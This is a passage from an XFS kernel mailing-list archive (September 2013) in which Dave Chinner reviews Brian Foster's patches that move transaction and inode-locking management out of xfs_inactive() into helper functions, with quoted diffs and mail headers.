-#define XFS_FSOP_GEOM_FLAGS_SECTOR 0x0200 /* sector sizes >1BB */ > -#define XFS_FSOP_GEOM_FLAGS_ATTR2 0x0400 /* inline attributes rework */ > -#define XFS_FSOP_GEOM_FLAGS_PROJID32 0x0800 /* 32-bit project IDs */ > -#define XFS_FSOP_GEOM_FLAGS_DIRV2CI 0x1000 /* ASCII only CI names */ > -#define XFS_FSOP_GEOM_FLAGS_LAZYSB 0x4000 /* lazy superblock counters */ > -#define XFS_FSOP_GEOM_FLAGS_V5SB 0x8000 /* version 5 superblock */ > - > +#define XFS_FSOP_GEOM_FLAGS_ATTR 0x00001 /* attributes in use */ > +#define XFS_FSOP_GEOM_FLAGS_NLINK 0x00002 /* 32-bit nlink values */ > +#define XFS_FSOP_GEOM_FLAGS_QUOTA 0x00004 /* quotas enabled */ > +#define XFS_FSOP_GEOM_FLAGS_IALIGN 0x00008 /* inode alignment */ > +#define XFS_FSOP_GEOM_FLAGS_DALIGN 0x00010 /* large data alignment */ > +#define XFS_FSOP_GEOM_FLAGS_SHARED 0x00020 /* read-only shared */ > +#define XFS_FSOP_GEOM_FLAGS_EXTFLG 0x00040 /* special extent flag */ > +#define XFS_FSOP_GEOM_FLAGS_DIRV2 0x00080 /* directory version 2 */ > +#define XFS_FSOP_GEOM_FLAGS_LOGV2 0x00100 /* log format version 2 */ > +#define XFS_FSOP_GEOM_FLAGS_SECTOR 0x00200 /* sector sizes >1BB */ > +#define XFS_FSOP_GEOM_FLAGS_ATTR2 0x00400 /* inline attributes rework */ > +#define XFS_FSOP_GEOM_FLAGS_PROJID32 0x00800 /* 32-bit project IDs */ > +#define XFS_FSOP_GEOM_FLAGS_DIRV2CI 0x01000 /* ASCII only CI names */ > +#define XFS_FSOP_GEOM_FLAGS_LAZYSB 0x04000 /* lazy superblock counters */ > +#define XFS_FSOP_GEOM_FLAGS_V5SB 0x08000 /* version 5 superblock */ > +#define XFS_FSOP_GEOM_FLAGS_FTYPE 0x10000 /* inode directory types */ There is no need to do this. Can you drop these hunks as this simply adds more work to synchronise with userspace. > Index: b/fs/xfs/xfs_fsops.c > =================================================================== > --- a/fs/xfs/xfs_fsops.c > +++ b/fs/xfs/xfs_fsops.c > @@ -101,7 +101,9 @@ xfs_fs_geometry( > (xfs_sb_version_hasprojid32bit(&mp->m_sb) ? > XFS_FSOP_GEOM_FLAGS_PROJID32 : 0) | > (xfs_sb_version_hascrc(&mp->m_sb) ? > - XFS_FSOP_GEOM_FLAGS_V5SB : 0); > + XFS_FSOP_GEOM_FLAGS_V5SB : 0) | > + (xfs_sb_version_hasftype(&mp->m_sb) ? > + XFS_FSOP_GEOM_FLAGS_FTYPE : 0); > geo->logsectsize = xfs_sb_version_hassector(&mp->m_sb) ? > mp->m_sb.sb_logsectsize : BBSIZE; > geo->rtsectsize = mp->m_sb.sb_blocksize; That looks good - can you post the patches to userspace that use this so we can test it properly? Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Sep 18 17:17:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C247129E17 for ; Wed, 18 Sep 2013 17:17:38 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 46A34AC005 for ; Wed, 18 Sep 2013 15:17:35 -0700 (PDT) X-ASG-Debug-ID: 1379542652-04cbb02c3a118b870001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id z8zxcSEK5iy2CNJt for ; Wed, 18 Sep 2013 15:17:33 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlQGADolOlJ5Lapl/2dsb2JhbABTCIMHwjeBHRd0giUBAQQBJxMcIwULCAMOCgklDwUlAyETh30Fug8WjhSBPQeDHoEAA5d6kXWDNiqBLiQ Received: from ppp121-45-170-101.lns20.syd6.internode.on.net (HELO dastard) ([121.45.170.101]) by ipmail06.adl2.internode.on.net with ESMTP; 19 Sep 2013 07:47:32 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VMQ3t-0002jJ-Dx; Thu, 19 Sep 2013 08:17:29 +1000 Date: Thu, 19 Sep 2013 08:17:29 +1000 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/3] xfs: push down inactive transaction mgmt for remote symlinks Message-ID: <20130918221729.GB9901@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/3] xfs: push down inactive transaction mgmt for remote symlinks References: <1379520960-22972-1-git-send-email-bfoster@redhat.com> <1379520960-22972-2-git-send-email-bfoster@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1379520960-22972-2-git-send-email-bfoster@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1379542652 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140734 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Sep 18, 2013 at 12:15:58PM -0400, Brian Foster wrote: > Push down the transaction management for remote symlinks from > xfs_inactive() down to xfs_inactive_symlink_rmt(). The latter is > cleaned up to avoid transaction management intended for the > calling context (i.e., trans duplication, reservation, item > attachment). > > Signed-off-by: Brian Foster > --- > fs/xfs/xfs_inode.c | 15 ++++++------ > fs/xfs/xfs_symlink.c | 64 ++++++++++++++++++---------------------------------- > fs/xfs/xfs_symlink.h | 2 +- > 3 files changed, 31 insertions(+), 50 deletions(-) > > diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c > index e3d7538..30db70e 100644 > --- a/fs/xfs/xfs_inode.c > +++ b/fs/xfs/xfs_inode.c > @@ -1724,9 +1724,14 @@ xfs_inactive( > if (error) > return VN_INACTIVE_CACHE; > > + if (S_ISLNK(ip->i_d.di_mode)) { > + error = xfs_inactive_symlink(ip); > + if (error) > + goto out; > + } > + > tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); > - resp = (truncate || S_ISLNK(ip->i_d.di_mode)) ? > - &M_RES(mp)->tr_itruncate : &M_RES(mp)->tr_ifree; > + resp = truncate ? &M_RES(mp)->tr_itruncate : &M_RES(mp)->tr_ifree; > > error = xfs_trans_reserve(tp, resp, 0, 0); > if (error) { > @@ -1738,11 +1743,7 @@ xfs_inactive( > xfs_ilock(ip, XFS_ILOCK_EXCL); > xfs_trans_ijoin(tp, ip, 0); > > - if (S_ISLNK(ip->i_d.di_mode)) { > - error = xfs_inactive_symlink(ip, &tp); > - if (error) > - goto out_cancel; > - } else if (truncate) { > + if (truncate) { > ip->i_d.di_size = 0; > xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); Just to maintain the same logic here, if it is a symlink shouldn't we be ensuring that truncate is zero so we don't go down that path (even if it's just an assert that you add)? > diff --git a/fs/xfs/xfs_symlink.c b/fs/xfs/xfs_symlink.c > index f622a97..f85f6f2 100644 > --- a/fs/xfs/xfs_symlink.c > +++ b/fs/xfs/xfs_symlink.c > @@ -424,8 +424,7 @@ xfs_symlink( > */ > STATIC int > xfs_inactive_symlink_rmt( > - xfs_inode_t *ip, > - xfs_trans_t **tpp) > + xfs_inode_t *ip) > { > xfs_buf_t *bp; > int committed; > @@ -437,11 +436,9 @@ xfs_inactive_symlink_rmt( > xfs_mount_t *mp; > xfs_bmbt_irec_t mval[XFS_SYMLINK_MAPS]; > int nmaps; > - xfs_trans_t *ntp; > int size; > xfs_trans_t *tp; > > - tp = *tpp; > mp = ip->i_mount; > ASSERT(ip->i_df.if_flags & XFS_IFEXTENTS); > /* > @@ -453,6 +450,14 @@ xfs_inactive_symlink_rmt( > */ > ASSERT(ip->i_d.di_nextents > 0 && ip->i_d.di_nextents <= 2); > > + tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); > + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_itruncate, 0, 0); > + if (error) > + goto error0; goto error_trans_cancel; > + > + xfs_ilock(ip, XFS_ILOCK_EXCL); > + xfs_trans_ijoin(tp, ip, 0); > + > /* > * Lock the inode, fix the size, and join it to the transaction. > * Hold it so in the normal path, we still have it locked for > @@ -471,7 +476,7 @@ xfs_inactive_symlink_rmt( > error = xfs_bmapi_read(ip, 0, xfs_symlink_blocks(mp, size), > mval, &nmaps, 0); > if (error) > - goto error0; > + goto error1; goto error_unlock; > /* > * Invalidate the block(s). No validation is done. > */ > @@ -481,7 +486,7 @@ xfs_inactive_symlink_rmt( > XFS_FSB_TO_BB(mp, mval[i].br_blockcount), 0); > if (!bp) { > error = ENOMEM; > - goto error1; > + goto error2; goto error_bmap_cancel; > } > xfs_trans_binval(tp, bp); > } > @@ -490,13 +495,13 @@ xfs_inactive_symlink_rmt( > */ > if ((error = xfs_bunmapi(tp, ip, 0, size, XFS_BMAPI_METADATA, nmaps, > &first_block, &free_list, &done))) > - goto error1; > + goto error2; Can you convert this to: error = xfs_bunmapi(tp, ip, 0, size, XFS_BMAPI_METADATA, nmaps, &first_block, &free_list, &done); if (error) goto error_bmap_cancel; > ASSERT(done); > /* > * Commit the first transaction. This logs the EFI and the inode. > */ > if ((error = xfs_bmap_finish(&tp, &free_list, &committed))) > - goto error1; > + goto error2; Same here. > /* > * The transaction must have been committed, since there were > * actually extents freed by xfs_bunmapi. See xfs_bmap_finish. > @@ -508,29 +513,16 @@ xfs_inactive_symlink_rmt( > * Mark it dirty so it will be logged and moved forward in the log as > * part of every commit. > */ > - xfs_trans_ijoin(tp, ip, 0); > + xfs_trans_ijoin(tp, ip, XFS_ILOCK_EXCL); Oh, good, you caught the "need to unlock the inode at commit" case :) > > - error1: > +error2: > xfs_bmap_cancel(&free_list); > - error0: > +error1: > + xfs_iunlock(ip, XFS_ILOCK_EXCL); > +error0: > + xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES | XFS_TRANS_ABORT); > return error; And the error labels need reworking appropriately. > } > > @@ -563,16 +546,13 @@ xfs_inactive_symlink_rmt( > */ > int > xfs_inactive_symlink( > - struct xfs_inode *ip, > - struct xfs_trans **tp) > + struct xfs_inode *ip) > { > struct xfs_mount *mp = ip->i_mount; > int pathlen; > > trace_xfs_inactive_symlink(ip); > > - ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); > - > if (XFS_FORCED_SHUTDOWN(mp)) > return XFS_ERROR(EIO); The call to xfs_idata_realloc() needs to be done under the XFS_ILOCK_EXCL here. We can race with other inode cache lookups that do work, so we do need to ensure that we correctly lock everything for modifications that are to be made to the inode state. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Sep 18 17:51:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D901929E19 for ; Wed, 18 Sep 2013 17:51:33 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6A183AC004 for ; Wed, 18 Sep 2013 15:51:30 -0700 (PDT) X-ASG-Debug-ID: 1379544684-04cb6c2e9d1193c10001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id QB7hfcVZbYIruwK7 for ; Wed, 18 Sep 2013 15:51:25 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlQGAK0tOlJ5Lapl/2dsb2JhbABbgwfCN4EeF3SCJQEBBAEnExweBQULCAMOCgklDwUlAyETh30FuhsWjgiBSQeDHoEAA5d6kXWDNiqBNQ Received: from ppp121-45-170-101.lns20.syd6.internode.on.net (HELO dastard) ([121.45.170.101]) by ipmail06.adl2.internode.on.net with ESMTP; 19 Sep 2013 08:21:24 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VMQae-0002ml-Qx; Thu, 19 Sep 2013 08:51:20 +1000 Date: Thu, 19 Sep 2013 08:51:20 +1000 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/3] xfs: push down inactive transaction mgmt for remote symlinks Message-ID: <20130918225120.GC9901@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/3] xfs: push down inactive transaction mgmt for remote symlinks References: <1379520960-22972-1-git-send-email-bfoster@redhat.com> <1379520960-22972-2-git-send-email-bfoster@redhat.com> <5239EBA2.4070207@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5239EBA2.4070207@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1379544684 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140736 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Sep 18, 2013 at 02:06:26PM -0400, Brian Foster wrote: > On 09/18/2013 12:15 PM, Brian Foster wrote: > > Push down the transaction management for remote symlinks from > > xfs_inactive() down to xfs_inactive_symlink_rmt(). The latter is > > cleaned up to avoid transaction management intended for the > > calling context (i.e., trans duplication, reservation, item > > attachment). > > > > Signed-off-by: Brian Foster > > --- > > fs/xfs/xfs_inode.c | 15 ++++++------ > > fs/xfs/xfs_symlink.c | 64 ++++++++++++++++++---------------------------------- > > fs/xfs/xfs_symlink.h | 2 +- > > 3 files changed, 31 insertions(+), 50 deletions(-) > > > ... > > diff --git a/fs/xfs/xfs_symlink.c b/fs/xfs/xfs_symlink.c > > index f622a97..f85f6f2 100644 > > --- a/fs/xfs/xfs_symlink.c > > +++ b/fs/xfs/xfs_symlink.c > > @@ -424,8 +424,7 @@ xfs_symlink( > > */ > ... > > > > @@ -563,16 +546,13 @@ xfs_inactive_symlink_rmt( > > */ > > int > > xfs_inactive_symlink( > > - struct xfs_inode *ip, > > - struct xfs_trans **tp) > > + struct xfs_inode *ip) > > { > > struct xfs_mount *mp = ip->i_mount; > > int pathlen; > > > > trace_xfs_inactive_symlink(ip); > > > > - ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); > > - > > I just want to call out one thing here in case it isn't noticed on > review... the safety of this is something I was curious about. > Specifically, note that I've removed the inode locking from > xfs_inactive(), which previously covered xfs_inactive_symlink() (for > xfs_idata_realloc()), down into xfs_inactive_symlink_rmt(). see my comments about idata_realloc() in the previous email. It might be safe, but it's better not to leave a landmine if we add some other caller to the function in the future. > My assumption was that this is currently ok since at this point we have > an inode with di_nlink == 0. It's not an entirely correct assumption. The end result is likely the same, but di_nlink has no influence here. i.e. the inode lifecycle is rather complex and there is an interesting condition that covers inodes going through xfs_inactive(). xfs_inactive() is called when the VFS reference count goes to zero and the VFS inode is being reclaimed, but the XFS_IRECLAIMABLE flag is not yet set on it. This doesn't happen until after xfs_inactive() completes and the VFS calls ->destroy_inode. Hence the inode is in a limbo state where calls to igrab() will fail but the inode can be found in the inode radix trees without being marked as "under reclaim conditions". We handle this with xfs_iget_cache_hit() by the use of igrab(), which will fail on such an inode, and we use the same logic in xfs_inode_ag_walk_grab() to avoid this hole. That said, xfs_reclaim_inode_grab() does no such thing - it only checks for XFS_IRECLAIMABLE under an RCU traversal, and so may find inodes for which that the radix tree reclaimable tag is stale. hence that check is always done under a spinlock. IOWs, the only thing that protects us from outside interference in xfs_inactive() is the logic in the XFS inode cache lookups specifically avoiding inodes in the transient state that xfs_inactive() is called under. It doesn't matter what the contents of the inode are - it's the safe transition from one lifecycle state to the next that is important at this point. So, like I said in the previous email, we have to be careful with cache lookups to prevent races with the work xfs_inactive() is doing, but that doesn't mean we shouldn't still lock the inodes correctly when modifying them... > If that's not accurate or not expected to > remain so after O_TMPFILE related work, I suppose I could pull the > locking back up into xfs_inactive_symlink(). O_TMPFILE itself won't change anything - they will look just like any other unlinked inode going through xfs_inactive() on their way to the XFS_IRECLAIMABLE state. It's when we start separating the xfs_inactive() work into multiple distinct stages to allow for optimisation of inode freeing that we need to be careful as these introduce new states into the lifecycle state machine. These will most likely involve new state flags and radix tree tags and walks, but AFAICT, overall concept that xfs_inactive/xfs_inactive_symlink is run from the same special isolated "limbo" context should not change.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Sep 18 18:00:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 67B137F55 for ; Wed, 18 Sep 2013 18:00:14 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 03AFCAC007 for ; Wed, 18 Sep 2013 16:00:13 -0700 (PDT) X-ASG-Debug-ID: 1379545211-04bdf053872683b0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id f9BuarbgZ0SJ9RjS for ; Wed, 18 Sep 2013 16:00:12 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlQGAAcwOlJ5Lapl/2dsb2JhbABbgwfCN4EeF3SCJQEBBScTHCMQCAMOCgklDwUlAyETiAK6ExaPUQeDHoEAA5d6kXWDNio Received: from ppp121-45-170-101.lns20.syd6.internode.on.net (HELO dastard) ([121.45.170.101]) by ipmail06.adl2.internode.on.net with ESMTP; 19 Sep 2013 08:30:11 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VMQjB-0002nm-IL; Thu, 19 Sep 2013 09:00:09 +1000 Date: Thu, 19 Sep 2013 09:00:09 +1000 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH 2/3] xfs: push down inactive transaction mgmt for truncate Message-ID: <20130918230009.GD9901@dastard> X-ASG-Orig-Subj: Re: [PATCH 2/3] xfs: push down inactive transaction mgmt for truncate References: <1379520960-22972-1-git-send-email-bfoster@redhat.com> <1379520960-22972-3-git-send-email-bfoster@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1379520960-22972-3-git-send-email-bfoster@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1379545211 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140736 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Sep 18, 2013 at 12:15:59PM -0400, Brian Foster wrote: > Create the new xfs_inactive_truncate() function to handle the > truncate portion of xfs_inactive(). Push the locking and > transaction management into the new function. > > Signed-off-by: Brian Foster > --- > fs/xfs/xfs_inode.c | 112 ++++++++++++++++++++++++++++++----------------------- > 1 file changed, 63 insertions(+), 49 deletions(-) > > diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c > index 30db70e..9416462 100644 > --- a/fs/xfs/xfs_inode.c > +++ b/fs/xfs/xfs_inode.c > @@ -1663,6 +1663,53 @@ xfs_release( > } > > /* > + * xfs_inactive_truncate > + * > + * Called to perform a truncate when an inode becomes unlinked. > + */ > +STATIC int > +xfs_inactive_truncate( > + struct xfs_inode *ip) > +{ > + struct xfs_mount *mp = ip->i_mount; > + struct xfs_trans *tp; > + int error; > + > + tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); > + > + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_itruncate, 0, 0); > + if (error) { > + ASSERT(XFS_FORCED_SHUTDOWN(mp)); > + goto error0; error_trans_cancel... > + } > + > + xfs_ilock(ip, XFS_ILOCK_EXCL); > + xfs_trans_ijoin(tp, ip, 0); > + > + ip->i_d.di_size = 0; > + xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); Can you add a comment here that we are logging the inode size so that if the system crashes part way through the truncation we don't need to worry about stale data exposure? There's a similar, more expansive comment in xfs_setattr_size() - maybe a quick one-line explaination and a "see setattr_size for more info" woul dbe sufficient. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Sep 18 18:06:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 644BA7F5E for ; Wed, 18 Sep 2013 18:06:28 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 281DB304043 for ; Wed, 18 Sep 2013 16:06:25 -0700 (PDT) X-ASG-Debug-ID: 1379545582-04bdf05387268900001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id 5aqB8SXD9kqFEhOq for ; Wed, 18 Sep 2013 16:06:23 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlQGAC4xOlJ5Lapl/2dsb2JhbABbgwfCN4EeF3SCJQEBBScTHCMQCAMOCgkMGQ8FJQMhE4gCuhQWjhqBNwcKgxSBAAOXepF1gzYqgS0 Received: from ppp121-45-170-101.lns20.syd6.internode.on.net (HELO dastard) ([121.45.170.101]) by ipmail06.adl2.internode.on.net with ESMTP; 19 Sep 2013 08:36:22 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VMQpA-0002oz-Py; Thu, 19 Sep 2013 09:06:20 +1000 Date: Thu, 19 Sep 2013 09:06:20 +1000 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH 3/3] xfs: push down inactive transaction mgmt for ifree Message-ID: <20130918230620.GE9901@dastard> X-ASG-Orig-Subj: Re: [PATCH 3/3] xfs: push down inactive transaction mgmt for ifree References: <1379520960-22972-1-git-send-email-bfoster@redhat.com> <1379520960-22972-4-git-send-email-bfoster@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1379520960-22972-4-git-send-email-bfoster@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1379545582 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140736 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Sep 18, 2013 at 12:16:00PM -0400, Brian Foster wrote: > Push the inode free work performed during xfs_inactive() down into > a new xfs_inactive_ifree() helper. This clears xfs_inactive() from > all inode locking and transaction management more directly > associated with freeing the inode xattrs, extents and the inode > itself. > > Signed-off-by: Brian Foster > --- > fs/xfs/xfs_inode.c | 121 +++++++++++++++++++++++++++++++---------------------- > 1 file changed, 71 insertions(+), 50 deletions(-) > > diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c > index 9416462..a6ed69d 100644 > --- a/fs/xfs/xfs_inode.c > +++ b/fs/xfs/xfs_inode.c > @@ -1710,6 +1710,74 @@ error0: > } > > /* > + * xfs_inactive_ifree() > + * > + * Perform the inode free when an inode is unlinked. > + */ > +STATIC int > +xfs_inactive_ifree( > + struct xfs_inode *ip) > +{ > + xfs_bmap_free_t free_list; > + xfs_fsblock_t first_block; > + int committed; > + struct xfs_mount *mp = ip->i_mount; > + struct xfs_trans *tp; > + int error; > + > + tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); > + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ifree, 0, 0); > + if (error) { > + ASSERT(XFS_FORCED_SHUTDOWN(mp)); > + xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES); > + return error; > + } > + > + xfs_ilock(ip, XFS_ILOCK_EXCL); > + xfs_trans_ijoin(tp, ip, 0); > + > + xfs_bmap_init(&free_list, &first_block); > + error = xfs_ifree(tp, ip, &free_list); > + if (error) { > + /* > + * If we fail to free the inode, shut down. The cancel > + * might do that, we need to make sure. Otherwise the > + * inode might be lost for a long time or forever. > + */ > + if (!XFS_FORCED_SHUTDOWN(mp)) { > + xfs_notice(mp, "%s: xfs_ifree returned error %d", > + __func__, error); > + xfs_force_shutdown(mp, SHUTDOWN_META_IO_ERROR); > + } > + xfs_iunlock(ip, XFS_ILOCK_EXCL); > + xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES|XFS_TRANS_ABORT); > + return error; > + } > + > + /* > + * Credit the quota account(s). The inode is gone. > + */ > + xfs_trans_mod_dquot_byino(tp, ip, XFS_TRANS_DQ_ICOUNT, -1); > + > + /* > + * Just ignore errors at this point. There is nothing we can > + * do except to try to keep going. Make sure it's not a silent > + * error. > + */ > + error = xfs_bmap_finish(&tp, &free_list, &committed); > + if (error) > + xfs_notice(mp, "%s: xfs_bmap_finish returned error %d", > + __func__, error); > + error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); > + if (error) > + xfs_notice(mp, "%s: xfs_trans_commit returned error %d", > + __func__, error); > + > + xfs_iunlock(ip, XFS_ILOCK_EXCL); > + return 0; > +} I suspect we can clean up the error handling here now, and make it look like the symlink remove inactive handle where we cancel bmaps and abort transactions and trigger shutdowns appropriately. I'd leave that to a separate patchset, though ;) > - __func__, error); > - } > + error = xfs_inactive_ifree(ip); > + if (error) > + goto out; > > /* > * Release the dquots held by inode, if any. > */ > xfs_qm_dqdetach(ip); > - xfs_iunlock(ip, XFS_ILOCK_EXCL); > out: > return VN_INACTIVE_CACHE; > } I think it's time to kill VN_INACTIVE_CACHE, as well. It's a hold-over from Irix, and it serves no purpose what-so-ever on Linux... Otherwise it looks good. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Sep 18 18:24:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 419177F6D for ; Wed, 18 Sep 2013 18:24:28 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1B2E7304043 for ; Wed, 18 Sep 2013 16:24:28 -0700 (PDT) X-ASG-Debug-ID: 1379546666-04cbb02c3a118fc20001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id dsFdmXWlky1CnavY for ; Wed, 18 Sep 